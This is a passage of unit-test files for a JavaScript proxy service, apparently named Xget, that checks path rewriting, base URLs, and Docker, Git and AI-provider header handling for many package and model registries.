import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
import { PLATFORMS, SORTED_PLATFORMS, transformPath } from '../../src/config/platforms.js';
import { getPlatformPathPrefix } from '../../src/routing/platform-index.js';
import { transformPath as transformPlatformPath } from '../../src/routing/platform-transformers.js';
describe('Platform module boundaries', () => {
it('keeps the compatibility export wired to the platform catalog', () => {
expect(PLATFORMS).toBe(PLATFORM_CATALOG);
});
it('sorts platform keys by the longest routable prefix first', () => {
const prefixLengths = SORTED_PLATFORMS.map(
platformKey => getPlatformPathPrefix(platformKey).length
);
prefixLengths.forEach((length, index) => {
if (index < prefixLengths.length - 1) {
expect(length).toBeGreaterThanOrEqual(prefixLengths[index + 1]);
}
});
});
it('routes legacy transform imports through the dedicated transformer module', () => {
expect(transformPath('/crates/?q=tokio', 'crates')).toBe(
transformPlatformPath('/crates/?q=tokio', 'crates')
);
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
});
});
================================================
FILE: test/unit/platforms.test.js
================================================
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Platform Configuration', () => {
describe('Platform Definitions', () => {
it('should have all required platforms defined', () => {
const requiredPlatforms = [
'gh',
'gist',
'gl',
'sf',
'gitea',
'codeberg',
'hf',
'civitai',
'npm',
'pypi',
'conda',
'flathub',
'homebrew'
];
requiredPlatforms.forEach(platform => {
expect(PLATFORMS).toHaveProperty(platform);
expect(PLATFORMS[platform]).toBeDefined();
});
});
it('should have valid base URLs for all platforms', () => {
Object.values(PLATFORMS).forEach(baseUrl => {
expect(baseUrl).toBeDefined();
expect(baseUrl).toMatch(/^https?:\/\/.+/);
});
});
it('should have unified transform function', () => {
expect(transformPath).toBeDefined();
expect(typeof transformPath).toBe('function');
});
});
describe('Unified Transform Function', () => {
it('should transform GitHub paths correctly', () => {
expect(transformPath('/gh/microsoft/vscode/archive/main.zip', 'gh')).toBe(
'/microsoft/vscode/archive/main.zip'
);
expect(transformPath('/gh/user/repo.git', 'gh')).toBe('/user/repo.git');
});
it('should transform GitHub Gist paths correctly', () => {
expect(transformPath('/gist/username/gist-id/raw/file.txt', 'gist')).toBe(
'/username/gist-id/raw/file.txt'
);
expect(transformPath('/gist/username/gist-id.git', 'gist')).toBe('/username/gist-id.git');
});
it('should transform GitLab paths correctly', () => {
expect(transformPath('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', 'gl')).toBe(
'/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'
);
});
it('should transform SourceForge paths correctly', () => {
expect(
transformPath('/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download', 'sf')
).toBe('/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download');
});
it('should transform Gitea paths correctly', () => {
expect(transformPath('/gitea/gitea/gitea/archive/master.zip', 'gitea')).toBe(
'/gitea/gitea/archive/master.zip'
);
});
it('should transform Codeberg paths correctly', () => {
expect(transformPath('/codeberg/forgejo/forgejo/archive/forgejo.zip', 'codeberg')).toBe(
'/forgejo/forgejo/archive/forgejo.zip'
);
});
it('should transform Hugging Face paths correctly', () => {
expect(transformPath('/hf/microsoft/DialoGPT-medium/resolve/main/config.json', 'hf')).toBe(
'/microsoft/DialoGPT-medium/resolve/main/config.json'
);
expect(transformPath('/hf/datasets/squad/resolve/main/train.json', 'hf')).toBe(
'/datasets/squad/resolve/main/train.json'
);
});
it('should transform Civitai paths correctly', () => {
expect(transformPath('/civitai/api/v1/models', 'civitai')).toBe('/api/v1/models');
expect(transformPath('/civitai/api/v1/model-versions/1318', 'civitai')).toBe(
'/api/v1/model-versions/1318'
);
expect(transformPath('/civitai/api/download/models/1105', 'civitai')).toBe(
'/api/download/models/1105'
);
});
it('should transform npm paths correctly', () => {
expect(transformPath('/npm/react/-/react-18.2.0.tgz', 'npm')).toBe(
'/react/-/react-18.2.0.tgz'
);
expect(transformPath('/npm/lodash', 'npm')).toBe('/lodash');
});
it('should transform PyPI paths correctly', () => {
expect(transformPath('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi')).toBe(
'/packages/source/r/requests/requests-2.31.0.tar.gz'
);
expect(transformPath('/pypi/simple/requests/', 'pypi')).toBe('/simple/requests/');
});
it('should transform PyPI files paths correctly', () => {
expect(
transformPath('/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi-files')
).toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
});
it('should transform conda default channel paths correctly', () => {
expect(transformPath('/conda/pkgs/main/linux-64/numpy-1.24.3.conda', 'conda')).toBe(
'/pkgs/main/linux-64/numpy-1.24.3.conda'
);
});
it('should transform conda community channel paths correctly', () => {
expect(
transformPath('/conda/community/conda-forge/linux-64/repodata.json', 'conda-community')
).toBe('/conda-forge/linux-64/repodata.json');
});
it('should transform Flathub paths correctly', () => {
expect(transformPath('/flathub/repo/summary', 'flathub')).toBe('/repo/summary');
expect(transformPath('/flathub/repo/flathub.flatpakrepo', 'flathub')).toBe(
'/repo/flathub.flatpakrepo'
);
});
it('should transform container registry paths correctly', () => {
expect(
transformPath('/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', 'cr-ghcr')
).toBe('/v2/nginxinc/nginx-unprivileged/manifests/latest');
expect(transformPath('/cr/gcr/v2/distroless/base/manifests/latest', 'cr-gcr')).toBe(
'/v2/distroless/base/manifests/latest'
);
});
});
describe('Platform Base URLs', () => {
it('should have correct GitHub base URL', () => {
expect(PLATFORMS.gh).toBe('https://github.com');
});
it('should have correct GitHub Gist base URL', () => {
expect(PLATFORMS.gist).toBe('https://gist.github.com');
});
it('should have correct GitLab base URL', () => {
expect(PLATFORMS.gl).toBe('https://gitlab.com');
});
it('should have correct SourceForge base URL', () => {
expect(PLATFORMS.sf).toBe('https://sourceforge.net');
});
it('should have correct Gitea base URL', () => {
expect(PLATFORMS.gitea).toBe('https://gitea.com');
});
it('should have correct Codeberg base URL', () => {
expect(PLATFORMS.codeberg).toBe('https://codeberg.org');
});
it('should have correct Hugging Face base URL', () => {
expect(PLATFORMS.hf).toBe('https://huggingface.co');
});
it('should have correct npm base URL', () => {
expect(PLATFORMS.npm).toBe('https://registry.npmjs.org');
});
it('should have correct PyPI base URL', () => {
expect(PLATFORMS.pypi).toBe('https://pypi.org');
});
it('should have correct PyPI files base URL', () => {
expect(PLATFORMS['pypi-files']).toBe('https://files.pythonhosted.org');
});
it('should have correct conda base URLs', () => {
expect(PLATFORMS.conda).toBe('https://repo.anaconda.com');
expect(PLATFORMS['conda-community']).toBe('https://conda.anaconda.org');
});
it('should have correct Flathub base URL', () => {
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
});
it('should have correct container registry base URLs', () => {
expect(PLATFORMS['cr-ghcr']).toBe('https://ghcr.io');
expect(PLATFORMS['cr-gcr']).toBe('https://gcr.io');
expect(PLATFORMS['cr-mcr']).toBe('https://mcr.microsoft.com');
});
});
describe('Path Transformation Edge Cases', () => {
it('should handle empty paths gracefully', () => {
Object.keys(PLATFORMS).forEach(key => {
expect(() => transformPath('', key)).not.toThrow();
});
});
it('should handle paths without platform prefix', () => {
Object.keys(PLATFORMS).forEach(key => {
const testPath = '/some/random/path';
expect(() => transformPath(testPath, key)).not.toThrow();
});
});
it('should handle unknown platform keys', () => {
const testPath = '/unknown/test/path';
expect(transformPath(testPath, 'unknown')).toBe(testPath);
});
it('should handle paths with query parameters', () => {
expect(transformPath('/gh/user/repo/file.txt?ref=main', 'gh')).toBe(
'/user/repo/file.txt?ref=main'
);
});
it('should handle paths with fragments', () => {
expect(transformPath('/gh/user/repo/README.md#section', 'gh')).toBe(
'/user/repo/README.md#section'
);
});
});
describe('URL Construction', () => {
it('should construct valid URLs for all platforms', () => {
Object.entries(PLATFORMS).forEach(([key, baseUrl]) => {
const testPath = `/${key.replace('-', '/')}/test/path`;
const transformedPath = transformPath(testPath, key);
const fullUrl = baseUrl + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
});
});
it('should handle container registry URL construction', () => {
const testPath = '/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const transformedPath = transformPath(testPath, 'cr-ghcr');
const fullUrl = PLATFORMS['cr-ghcr'] + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
expect(fullUrl).toBe('https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest');
});
});
describe('Jenkins Plugin Support', () => {
it('should have Jenkins platform defined', () => {
expect(PLATFORMS).toHaveProperty('jenkins');
expect(PLATFORMS.jenkins).toBe('https://updates.jenkins.io');
});
it('should transform Jenkins paths correctly', () => {
// Update center JSON - should be redirected to current
expect(transformPath('/jenkins/update-center.json', 'jenkins')).toBe(
'/current/update-center.json'
);
expect(transformPath('/jenkins/update-center.actual.json', 'jenkins')).toBe(
'/current/update-center.actual.json'
);
// Plugin downloads - should preserve download paths
expect(
transformPath('/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', 'jenkins')
).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
// Experimental update center - should preserve experimental paths
expect(transformPath('/jenkins/experimental/update-center.json', 'jenkins')).toBe(
'/experimental/update-center.json'
);
// Current paths - should preserve current paths
expect(transformPath('/jenkins/current/update-center.json', 'jenkins')).toBe(
'/current/update-center.json'
);
// Other paths - should be prefixed with current
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
});
it('should construct valid URLs for Jenkins services', () => {
const jenkinsUrls = [
'/jenkins/update-center.json',
'/jenkins/download/plugins/git/5.2.1/git.hpi',
'/jenkins/experimental/update-center.json',
'/jenkins/current/update-center.actual.json'
];
jenkinsUrls.forEach(path => {
const transformedPath = transformPath(path, 'jenkins');
const fullUrl = PLATFORMS.jenkins + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
});
});
});
describe('Container Registry Support', () => {
it('should have all major container registries defined', () => {
const containerRegistries = [
'cr-quay',
'cr-gcr',
'cr-mcr',
'cr-ecr',
'cr-ghcr',
'cr-gitlab',
'cr-redhat',
'cr-oracle',
'cr-cloudsmith',
'cr-digitalocean',
'cr-vmware',
'cr-k8s',
'cr-heroku',
'cr-suse',
'cr-opensuse',
'cr-gitpod'
];
containerRegistries.forEach(registry => {
expect(PLATFORMS).toHaveProperty(registry);
expect(PLATFORMS[registry]).toBeDefined();
expect(typeof PLATFORMS[registry]).toBe('string');
});
});
it('should use the correct Amazon ECR Public base URL', () => {
expect(PLATFORMS['cr-ecr']).toBe('https://public.ecr.aws');
});
it('should transform all container registry paths correctly', () => {
const containerRegistries = [
'cr-quay',
'cr-gcr',
'cr-mcr',
'cr-ecr',
'cr-ghcr',
'cr-gitlab',
'cr-redhat',
'cr-oracle',
'cr-cloudsmith',
'cr-digitalocean',
'cr-vmware',
'cr-k8s',
'cr-heroku',
'cr-suse',
'cr-opensuse',
'cr-gitpod'
];
containerRegistries.forEach(registry => {
const prefix = registry.replace('cr-', 'cr/');
const testPath = `/${prefix}/v2/test/image/manifests/latest`;
const transformedPath = transformPath(testPath, registry);
expect(transformedPath).toBe('/v2/test/image/manifests/latest');
});
});
});
describe('AI Inference Providers Support', () => {
it('should have all major AI inference providers defined', () => {
const aiProviders = [
'ip-openai',
'ip-anthropic',
'ip-gemini',
'ip-vertexai',
'ip-cohere',
'ip-mistralai',
'ip-xai',
'ip-githubmodels',
'ip-nvidiaapi',
'ip-perplexity',
'ip-braintrust',
'ip-groq',
'ip-cerebras',
'ip-sambanova',
'ip-huggingface',
'ip-together',
'ip-replicate',
'ip-fireworks',
'ip-nebius',
'ip-jina',
'ip-voyageai',
'ip-falai',
'ip-novita',
'ip-burncloud',
'ip-openrouter',
'ip-poe',
'ip-featherlessai',
'ip-hyperbolic'
];
aiProviders.forEach(provider => {
expect(PLATFORMS).toHaveProperty(provider);
expect(PLATFORMS[provider]).toBeDefined();
expect(typeof PLATFORMS[provider]).toBe('string');
expect(PLATFORMS[provider]).toMatch(/^https:\/\/.+/);
});
});
it('should transform AI inference provider paths correctly', () => {
const testCases = [
{
provider: 'ip-openai',
inputPath: '/ip/openai/v1/chat/completions',
expectedPath: '/v1/chat/completions'
},
{
provider: 'ip-anthropic',
inputPath: '/ip/anthropic/v1/messages',
expectedPath: '/v1/messages'
},
{
provider: 'ip-gemini',
inputPath: '/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent',
expectedPath: '/v1beta/models/gemini-2.5-flash:generateContent'
},
{
provider: 'ip-cohere',
inputPath: '/ip/cohere/v1/generate',
expectedPath: '/v1/generate'
},
{
provider: 'ip-huggingface',
inputPath: '/ip/huggingface/models/meta-llama/Llama-2-7b-chat-hf',
expectedPath: '/models/meta-llama/Llama-2-7b-chat-hf'
},
{
provider: 'ip-together',
inputPath: '/ip/together/v1/chat/completions',
expectedPath: '/v1/chat/completions'
},
{
provider: 'ip-replicate',
inputPath: '/ip/replicate/v1/predictions',
expectedPath: '/v1/predictions'
},
{
provider: 'ip-groq',
inputPath: '/ip/groq/openai/v1/chat/completions',
expectedPath: '/openai/v1/chat/completions'
}
];
testCases.forEach(({ provider, inputPath, expectedPath }) => {
const transformedPath = transformPath(inputPath, provider);
expect(transformedPath).toBe(expectedPath);
});
});
it('should construct valid URLs for AI inference providers', () => {
const aiProviders = [
'ip-openrouter',
'ip-openai',
'ip-anthropic',
'ip-gemini',
'ip-cohere',
'ip-huggingface',
'ip-together',
'ip-replicate',
'ip-groq',
'ip-fireworks',
'ip-mistralai',
'ip-perplexity'
];
aiProviders.forEach(provider => {
const testPath = `/ip/${provider.replace('ip-', '')}/v1/test`;
const transformedPath = transformPath(testPath, provider);
const baseUrl = PLATFORMS[provider];
// Skip dynamic URLs with placeholders
if (!baseUrl.includes('{')) {
const fullUrl = baseUrl + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
}
});
});
});
});
================================================
FILE: test/unit/protocol-helpers.test.js
================================================
import { describe, expect, it } from 'vitest';
import { configureAIHeaders } from '../../src/protocols/ai.js';
import { configureGitHeaders, isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
import {
configureHuggingFaceHeaders,
isHuggingFaceAPIRequest
} from '../../src/protocols/huggingface.js';
describe('Protocol helper coverage', () => {
it('detects Git requests from service queries and content types', () => {
const serviceRequest = new Request('https://example.com/repo.git?service=git-receive-pack');
const contentTypeRequest = new Request('https://example.com/repo.git', {
method: 'POST',
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
});
expect(isGitRequest(serviceRequest, new URL(serviceRequest.url))).toBe(true);
expect(isGitRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
});
it('detects Git LFS requests from object paths and headers', () => {
const infoRequest = new Request('https://example.com/repo.git/info/lfs');
const objectRequest = new Request(
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
);
const headerRequest = new Request('https://example.com/repo.git/download', {
headers: { Accept: 'application/vnd.git-lfs+json' }
});
expect(isGitLFSRequest(infoRequest, new URL(infoRequest.url))).toBe(true);
expect(isGitLFSRequest(objectRequest, new URL(objectRequest.url))).toBe(true);
expect(isGitLFSRequest(headerRequest, new URL(headerRequest.url))).toBe(true);
});
it('configures standard Git upload and receive pack headers', () => {
const uploadHeaders = new Headers();
const uploadRequest = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST'
});
configureGitHeaders(uploadHeaders, uploadRequest, new URL(uploadRequest.url), false);
const receiveHeaders = new Headers();
const receiveRequest = new Request('https://example.com/repo.git/git-receive-pack', {
method: 'POST'
});
configureGitHeaders(receiveHeaders, receiveRequest, new URL(receiveRequest.url), false);
expect(uploadHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(uploadHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
expect(receiveHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(receiveHeaders.get('Content-Type')).toBe('application/x-git-receive-pack-request');
});
it('preserves existing Git headers when already provided', () => {
const headers = new Headers({
'Content-Type': 'application/custom',
'User-Agent': 'custom-git/9.9.9'
});
const request = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST'
});
configureGitHeaders(headers, request, new URL(request.url), false);
expect(headers.get('User-Agent')).toBe('custom-git/9.9.9');
expect(headers.get('Content-Type')).toBe('application/custom');
});
it('configures Git LFS batch and object download headers', () => {
const batchHeaders = new Headers();
const batchRequest = new Request('https://example.com/repo.git/objects/batch', {
method: 'POST'
});
configureGitHeaders(batchHeaders, batchRequest, new URL(batchRequest.url), true);
const objectHeaders = new Headers();
const objectRequest = new Request(
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
);
configureGitHeaders(objectHeaders, objectRequest, new URL(objectRequest.url), true);
expect(batchHeaders.get('User-Agent')).toContain('git-lfs/');
expect(batchHeaders.get('Accept')).toBe('application/vnd.git-lfs+json');
expect(batchHeaders.get('Content-Type')).toBe('application/vnd.git-lfs+json');
expect(objectHeaders.get('Accept')).toBe('application/octet-stream');
});
it('detects Hugging Face API and token passthrough endpoints', () => {
const apiRequest = new Request('https://example.com/hf/api/models/demo');
const tokenRequest = new Request('https://example.com/hf/token');
const regularRequest = new Request(
'https://example.com/hf/meta-llama/model/resolve/main/config.json'
);
expect(isHuggingFaceAPIRequest(apiRequest, new URL(apiRequest.url))).toBe(true);
expect(isHuggingFaceAPIRequest(tokenRequest, new URL(tokenRequest.url))).toBe(true);
expect(isHuggingFaceAPIRequest(regularRequest, new URL(regularRequest.url))).toBe(false);
});
it('configures Hugging Face headers without overwriting explicit content types', () => {
const headers = new Headers();
const request = new Request('https://example.com/hf/api/models/demo', {
method: 'POST',
headers: { Authorization: 'Bearer secret-token' }
});
configureHuggingFaceHeaders(headers, request);
const preconfiguredHeaders = new Headers({ 'Content-Type': 'multipart/form-data' });
configureHuggingFaceHeaders(preconfiguredHeaders, request);
expect(headers.get('Authorization')).toBe('Bearer secret-token');
expect(headers.get('Content-Type')).toBe('application/json');
expect(preconfiguredHeaders.get('Content-Type')).toBe('multipart/form-data');
});
it('configures AI passthrough headers and preserves explicit values', () => {
const headers = new Headers();
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'POST'
});
configureAIHeaders(headers, request);
const preconfiguredHeaders = new Headers({
'Content-Type': 'application/x-ndjson',
'User-Agent': 'custom-ai-proxy/2.0'
});
configureAIHeaders(preconfiguredHeaders, request);
expect(headers.get('Content-Type')).toBe('application/json');
expect(headers.get('User-Agent')).toBe('Xget-AI-Proxy/1.0');
expect(preconfiguredHeaders.get('Content-Type')).toBe('application/x-ndjson');
expect(preconfiguredHeaders.get('User-Agent')).toBe('custom-ai-proxy/2.0');
});
});
================================================
FILE: test/unit/protocols.test.js
================================================
import { afterEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
import { CONFIG } from '../../src/config/index.js';
import { isAIInferenceRequest } from '../../src/protocols/ai.js';
import {
getScopeFromUrl,
handleDockerAuth,
readRegistryTokenResponse
} from '../../src/protocols/docker.js';
import { isDockerRequest } from '../../src/utils/validation.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Protocol Detection', () => {
it('only treats /ip-prefixed paths as AI inference requests', () => {
const request = new Request('https://example.com/gh/user/repo/v1/chat/completions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});
const url = new URL(request.url);
expect(isAIInferenceRequest(request, url)).toBe(false);
});
it('does not treat nested /v2/ segments in regular paths as Docker requests', () => {
const request = new Request(
'https://example.com/gh/user/repo/releases/download/v2/file.tar.gz'
);
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(false);
});
});
describe('Docker Authentication', () => {
afterEach(() => {
vi.restoreAllMocks();
});
it('derives scoped pull access from /cr-prefixed registry requests', () => {
const url = new URL('https://example.com/cr/docker/v2/nginx/manifests/latest');
expect(getScopeFromUrl(url, url.pathname, 'cr-docker')).toBe('repository:library/nginx:pull');
});
it('normalizes Docker Hub official image scopes during auth proxying', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
const url = String(input);
if (url === 'https://registry-1.docker.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate':
'Bearer realm="https://auth.docker.io/token",service="registry.docker.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request(
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget'
);
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[1][0])).toContain(
'scope=repository%3Alibrary%2Fnginx%3Apull'
);
});
it('routes platform-prefixed auth endpoints without duplicating /v2', async () => {
/** @type {string[]} */
const upstreamCalls = [];
vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
upstreamCalls.push(String(input));
if (String(input) === 'https://ghcr.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(upstreamCalls[0]).toBe('https://ghcr.io/v2/');
});
it('routes registry manifests without duplicating /v2', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'HEAD'
}
);
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest'
);
});
it('routes host-style registry manifests through the upstream v2 API', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
method: 'HEAD'
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://ghcr.io/v2/xixu-me/xget/manifests/latest'
);
});
it('normalizes Docker Hub official image paths during proxying', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
})
);
const request = new Request('https://example.com/cr/docker/v2/nginx/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[0][0])).toBe(
'https://registry-1.docker.io/v2/library/nginx/manifests/latest'
);
});
it('preserves platform-specific Docker auth challenges', async () => {
let callCount = 0;
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
callCount++;
if (callCount === 1) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response('denied', { status: 401 });
});
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(await response.text()).toContain('UNAUTHORIZED');
});
it('follows 303 redirects for Docker registry responses without forwarding auth headers', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const headers = new Headers(init?.headers);
const url = String(input);
if (url === 'https://ghcr.io/v2/xixu-me/xget/manifests/latest') {
expect(headers.get('Authorization')).toBe('Bearer token123');
return new Response(null, {
status: 303,
headers: {
Location: 'https://pkg-containers.githubusercontent.com/manifest'
}
});
}
if (url === 'https://pkg-containers.githubusercontent.com/manifest') {
expect(headers.get('Authorization')).toBeNull();
return new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
});
}
throw new Error(`Unexpected fetch URL: ${url}`);
});
const request = new Request('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest', {
headers: { Authorization: 'Bearer token123' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('accepts standard repository scopes on platform-prefixed auth endpoints', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
const url = String(input);
if (url === 'https://ghcr.io/v2/') {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response(JSON.stringify({ token: 'token' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request(
'https://example.com/cr/ghcr/v2/auth?scope=repository:private/repo:pull&service=Xget'
);
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(String(fetchSpy.mock.calls[1][0])).toContain('scope=repository%3Aprivate%2Frepo%3Apull');
});
it('treats empty JSON token responses as unusable instead of throwing', async () => {
const token = await readRegistryTokenResponse(
new Response('', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
expect(token).toBeNull();
});
it('falls back cleanly when the token service returns an empty success body', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
let callCount = 0;
vi.spyOn(globalThis, 'fetch').mockImplementation(async () => {
callCount++;
if (callCount === 1) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
return new Response('', { status: 200 });
});
const request = new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(await response.text()).toContain('UNAUTHORIZED');
expect(warnSpy).not.toHaveBeenCalled();
});
});
describe('Protocol Header Configuration', () => {
afterEach(() => {
vi.restoreAllMocks();
});
it('does not send Git user-agent for AI inference requests', async () => {
/** @type {{ url: string, userAgent: string | null }[]} */
const observed = [];
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const headers = new Headers(init?.headers);
observed.push({
url: String(input),
userAgent: headers.get('User-Agent')
});
return new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
});
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});
const response = await worker.fetch(request, {}, executionContext);
expect(response.status).toBe(200);
expect(observed[0]).toEqual({
url: 'https://api.openai.com/v1/chat/completions',
userAgent: 'Xget-AI-Proxy/1.0'
});
});
it('updates Content-Length after rewriting npm metadata', async () => {
const upstreamBody = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
}
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(upstreamBody, {
status: 200,
headers: {
'Content-Type': 'application/json',
'Content-Length': String(upstreamBody.length)
}
})
);
const response = await worker.fetch(
new Request('https://example.com/npm/pkg'),
{},
executionContext
);
const body = await response.text();
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).byteLength)
);
});
});
================================================
FILE: test/unit/runtime-helpers.test.js
================================================
import { afterEach, describe, expect, it, vi } from 'vitest';
import { PerformanceMonitor, addPerformanceHeaders } from '../../src/utils/performance.js';
import {
isFlatpakReferenceFilePath,
rewriteTextResponse,
shouldRewriteTextResponse
} from '../../src/utils/rewrite.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Runtime helper coverage', () => {
it('serializes performance metrics and warns on duplicate marks', () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
const monitor = new PerformanceMonitor();
monitor.mark('request-start');
monitor.mark('request-start');
monitor.mark('complete');
const response = addPerformanceHeaders(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
}),
monitor
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(warnSpy).toHaveBeenCalledWith('Mark with name request-start already exists.');
expect(metrics).toHaveProperty('request-start');
expect(metrics).toHaveProperty('complete');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('rewrites only supported upstream response types', () => {
expect(shouldRewriteTextResponse('pypi', '/pypi/simple/demo/', 'text/html')).toBe(true);
expect(shouldRewriteTextResponse('npm', '/npm/demo', 'application/json')).toBe(true);
expect(
shouldRewriteTextResponse(
'flathub',
'/flathub/repo/demo.flatpakrepo',
'application/octet-stream'
)
).toBe(true);
expect(shouldRewriteTextResponse('gh', '/gh/user/repo/file.txt', 'text/plain')).toBe(false);
expect(isFlatpakReferenceFilePath('/flathub/repo/demo.flatpakref')).toBe(true);
expect(isFlatpakReferenceFilePath('/flathub/repo/summary')).toBe(false);
expect(
rewriteTextResponse(
'flathub',
'/flathub/repo/demo.flatpakrepo',
'Url=https://dl.flathub.org/repo/',
'https://example.com'
)
).toContain('https://example.com/flathub/repo/');
expect(
